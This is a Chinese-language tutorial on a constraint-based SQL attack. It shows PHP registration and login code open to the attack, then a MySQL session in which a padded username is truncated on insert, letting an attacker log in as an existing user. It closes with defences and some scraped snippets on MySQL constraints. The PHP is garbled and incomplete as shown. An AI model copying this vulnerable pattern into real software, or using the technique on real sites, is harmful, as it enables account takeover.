引言
目前值得高興的是,開發者在建立**時,已經開始關注安全問題了——幾乎每個開發者都知道sql注入漏洞了。在本文中,我將為讀者介紹另一種與sql資料庫相關的漏洞,雖然它的危害性與sql注入不相上下,但目前卻很少為人所知。接下來,我將為讀者詳細展示這種攻擊手法,以及相應的防禦策略。
背景知識
最近,我遇到了一段有趣的**,它嘗試盡一切可能來保護資料庫的訪問安全,例如每當新使用者進行註冊時,將執行以下**:
<?php
// checking whether a user with the same username exists
$username = mysql_real_escape_string($_get['username']);
$password = mysql_real_escape_string($_get['password']);
$query = "select *
from users
where username='$username'";
$res = mysql_query($query, $database);
if($res)
else
} 為了驗證登入資訊,將用到下列**:
<?php
$username = mysql_real_escape_string($_get['username']);
$password = mysql_real_escape_string($_get['password']);
$query = "select username from users
where username='$username'
and password='$password' ";
$res = mysql_query($query, $database);
if($res)
} return null;
安全注意事項周全嗎?
過濾使用者輸入引數了嗎? - 檢查了
使用單引號(')來增加安全性了嗎? - 檢查了
很好,還有什麼可能出錯的地方嗎?
是的,攻擊者依然能夠以任意使用者身份進行登入!
攻擊手法
在談論這種攻擊手法之前,首先需要介紹幾個至關重要的知識點。
1. 在處理sql中的字串時,字串末尾的空格字元都會被刪除。換句話說,「vampire」與「vampire 」幾乎是等效的,這在大多數情況下是正確的,例如where子句中的字串或insert語句中的字串。例如,以下語句的查詢結果,與使用使用者名稱「vampire」進行查詢時的結果是一樣的。
select * from users where username='vampire ';
但是,除此之外也確實存在例外情況,例如like子句。注意,對尾部空白字元的這種修剪操作,主要是在「字串比較」期間進行的。這是因為,sql會在內部使用空格來填充字串,以便在比較之前使其它們的長度保持一致。
2. 在任意insert查詢中,sql會根據varchar(n)來限制字串的最大長度,也就是說,如果字串的長度大於「n」個字元的話,那麼僅使用字串的前「n」個字元。例如,如果特定列的長度約束為「5」個字元,那麼在插入字串「vampire」時,實際上只能插入字串的前5個字元,即「vampi」。
現在,讓我們建立乙個測試資料庫來演示具體攻擊過程。
vampire@linux:~$ mysql -u root -p
mysql> create database testing;
query ok, 1 row affected (0.03 sec)
mysql> use testing;
database changed
我將建立乙個資料表users,它有兩列,即username和password。並且,這兩個欄位的最大長度為25個字元。接下來,我將插入一行記錄,其中以「vampire」作為使用者名稱,以「my_password」作為密碼。
mysql> create table users (
-> username varchar(25),
-> password varchar(25)
-> );
query ok, 0 rows affected (0.09 sec)
mysql> insert into users
-> values('vampire', 'my_password');
query ok, 1 row affected (0.11 sec)
mysql> select * from users;
+----------+-------------+
| username | password |
+----------+-------------+
| vampire | my_password |
+----------+-------------+
1 row in set (0.00 sec)
為了展示尾部空白字元的修剪情況,我們可以輸入下列命令:
mysql> select * from users
-> where username='vampire ';
+----------+-------------+
| username | password |
+----------+-------------+
| vampire | my_password |
+----------+-------------+
1 row in set (0.00 sec)
現在,假設乙個易受攻擊的**使用了前面提到的php**來處理使用者的註冊和登入。為了入侵任意使用者的帳戶(就本例來說,使用者名為「vampire」),只需使用使用者名稱「vampire[一些空白字元]1」和乙個隨機密碼進行註冊即可。對於選擇的使用者名稱,前25個字元應該只包含vampire和空白字元。這樣做的好處是,將有助於繞過檢查特定使用者名稱是否已存在的查詢。
mysql> select * from users
-> where username='vampire 1';
empty set (0.00 sec)
需要注意的是,在執行select查詢語句時,sql是不會將字串縮短為25個字元的。因此,這裡將使用完整的字串進行搜尋,所以不會找到匹配的結果。接下來,當執行insert查詢語句時,它只會插入前25個字元。
mysql> insert into users(username, password)
-> values ('vampire 1', 'random_pass');
query ok, 1 row affected, 1 warning (0.05 sec)
mysql> select * from users
-> where username='vampire';
+---------------------------+-------------+
| username | password |
+---------------------------+-------------+
| vampire | my_password |
| vampire | random_pass |
+---------------------------+-------------+
2 rows in set (0.00 sec)
很好,如果現在搜尋「vampire」的話,將返回兩個使用者。注意,第二個使用者名稱實際上是「vampire」加上尾部的18個空格。現在,如果使用使用者名稱「vampire」和密碼「random_pass」登入的話,則所有搜尋該使用者名稱的select查詢都將返回第乙個資料記錄,也就是原始的資料記錄。這樣的話,攻擊者就能夠以原始使用者身份登入。
這個攻擊已經在mysql和sqlite上成功通過測試。我相信它同樣適用於其他資料庫下。
防禦措施
顯然,要想開發安全的軟體,必須對這種安全漏洞嚴加防範。下面是我們可採取的幾項防禦措施:
1. 應該為要求/預期具有唯一性的那些列新增unique約束。這實際上是乙個非常重要的軟體開發規則。即使您的**已經提供了完整性檢查,也要正確定義您的資料。由於'username'列具有unique約束,所以插入另乙個記錄將是不可能的。這兩個字串將被視為等同的,並且insert查詢將失敗。
2. 最好使用'id'作為資料庫表的主鍵。此外,資料應該通過程式中的id進行跟蹤。
3. 為了增加安全性,您還可以手動方式將輸入引數修剪為特定長度(具體長度可以視資料庫的中設定而定)。
基於約束條件的SQL攻擊
目前值得高興的是,開發者在建立 時,已經開始關注安全問題了 幾乎每個開發者都知道sql注入漏洞了。在本文中,我將為讀者介紹另一種與sql資料庫相關的漏洞,雖然它的危害性與sql注入不相上下,但目前卻很少為人所知。接下來,我將為讀者詳細展示這種攻擊手法,以及相應的防禦策略。背景知識 最近,我遇到了一段...
MySQL 約束條件
1 非空約束 not null規定某個欄位在插入的時候不能有null,標誌位非空的時候插入的時候必須給值,不然會報錯 2 唯一約束 unique規定某個字段在整個這一列中是唯一 3 主鍵 非空且唯一是主要特徵。主鍵可以唯一標識一行資料 可以從多行資料中定位到該資料 但是唯一標識一行資料的字段 或字段...
約束條件 CONSTRAINTS
檢視某個表的約束和索引 一 定義 對錶中的資料進行限定,保證資料的正確性 有效性 和完整性。二 分類 在建立表時,新增主鍵 id int primary key,給id 新增主鍵約束 建立完錶後,新增主鍵 自動增長 id int primary key auto increment,給主鍵id 新增...